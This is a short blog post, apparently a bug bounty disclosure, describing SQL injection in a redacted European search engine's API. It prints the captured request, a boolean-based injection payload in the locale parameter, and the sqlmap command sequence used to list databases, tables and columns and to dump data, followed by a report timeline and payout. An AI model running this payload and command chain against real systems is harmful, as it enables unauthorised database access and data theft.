SQL Injection Bug Bounty POC!

Jul 11, 2019 · 2 min read

Good Dayyy Everyone,

Image for post
Image for post

in a few days ago, i try to join with a bug bounty program and i try to search the program still running and managed.

i found **** program

FYI the target is european search engine. Like google or something. i guess the target is on france

The scope is : *.xxxx.com

Ok we go to the point

i found the vulnerability is on api.xxx.com

This is the raw that i got on burp

GET /api/trend/get?locale=en_GB&device=desktop&uiv=4 HTTP/1.1
Host: api.xxxx.com
Content-Type: application/x-www-form-urlencoded
Origin: https://www.xxx.com
Connection: close

This is my payload : locale=en_GB’) AND 1234=(SELECT (CASE WHEN (1234=1234) THEN 1234 ELSE (SELECT 4376 UNION SELECT 4107) END)) — BWMI&device=desktop&uiv=4

  1. i save the raw into the notepad as .txt format
  2. i run my sqlmap from my terminal (because i used mac. i use this only sqlmap -r /xxx/xxx/xxx/files.txt — dbs
  3. i got something cool stuff there i got the database
  4. and i try to get more than the dbs. i try to check the table first using this sqlmap -r /xxx/xxx/xxx/files.txt -D xxx — table
  5. i found a lot of table there but there is something interesting for me. Then i try to get the columns
  6. sqlmap -r /xxx/xxx/xxx/files.txt -D xxx -T xxx — columns
  7. i got the columns. very interesting then i try to got the field of DB
  8. TADAAAA i GOT what i want .
Image for post
Image for post
  1. Create a report, and submit the report
  2. - status on review, then status changed to accepted, then solved now
  • 2 July 2019 — report
  • 2 July 2019 — accepted
  • 9 July 2019 — ask for verification or retest
  • 9 July 2019 — solved
  • 2019–07–12 13:53:51 5000EURO BOUNTY HAS COMING

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch

Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore

Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store